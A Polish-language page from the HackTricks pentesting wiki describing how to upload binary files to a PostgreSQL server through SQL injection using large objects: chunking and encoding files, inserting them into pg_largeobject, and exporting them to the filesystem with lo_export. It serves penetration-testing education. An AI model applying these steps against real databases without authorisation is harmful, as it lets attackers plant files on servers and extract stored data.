hacktricks/src/pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md

66 lines
3.5 KiB
Markdown

{{#include ../../../banners/hacktricks-training.md}}
### PostgreSQL Large Objects
PostgreSQL oferuje strukturę znaną jako **large objects**, dostępną za pośrednictwem tabeli `pg_largeobject`, zaprojektowaną do przechowywania dużych typów danych, takich jak obrazy czy dokumenty PDF. To podejście jest korzystniejsze niż funkcja `COPY TO`, ponieważ umożliwia **eksport danych z powrotem do systemu plików**, zapewniając dokładną replikę oryginalnego pliku.
Aby **przechować pełny plik** w tej tabeli, należy utworzyć obiekt w tabeli `pg_largeobject` (identyfikowany przez LOID), a następnie wstawić fragmenty danych, każde o rozmiarze 2KB, do tego obiektu. Ważne jest, aby te fragmenty miały dokładnie 2KB (z możliwym wyjątkiem ostatniego fragmentu), aby zapewnić prawidłowe działanie funkcji eksportu.
Aby **podzielić swoje dane binarne** na fragmenty 2KB, można wykonać następujące polecenia:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
Aby zakodować każdy plik w Base64 lub Hex, można użyć poniższych poleceń:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Ważne**: Podczas automatyzacji tego procesu upewnij się, że wysyłasz kawałki o wielkości 2KB czystych bajtów. Pliki zakodowane w formacie hex będą wymagały 4KB danych na kawałek z powodu podwojenia rozmiaru, podczas gdy pliki zakodowane w Base64 stosują wzór `ceil(n / 3) * 4`.
Zawartość dużych obiektów można przeglądać w celach debugowania za pomocą:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Używanie `lo_creat` i Base64
Aby przechować dane binarne, najpierw tworzony jest LOID:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
W sytuacjach wymagających precyzyjnej kontroli, takich jak wykorzystanie Blind SQL Injection, preferowane jest użycie `lo_create` do określenia stałego LOID.
Fragmenty danych można następnie wstawiać w następujący sposób:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
Aby wyeksportować i potencjalnie usunąć duży obiekt po użyciu:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### Używanie `lo_import` i Hex
Funkcja `lo_import` może być używana do tworzenia i określania LOID dla dużego obiektu:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Po utworzeniu obiektu dane są wstawiane na stronę, zapewniając, że każdy kawałek nie przekracza 2KB:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
Aby zakończyć proces, dane są eksportowane, a duży obiekt jest usuwany:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Ograniczenia
Zauważono, że **duże obiekty mogą mieć ACL** (Listy Kontroli Dostępu), co może ograniczać dostęp nawet do obiektów stworzonych przez twojego użytkownika. Jednak starsze obiekty z liberalnymi ACL mogą być nadal dostępne do eksfiltracji treści.
{{#include ../../../banners/hacktricks-training.md}}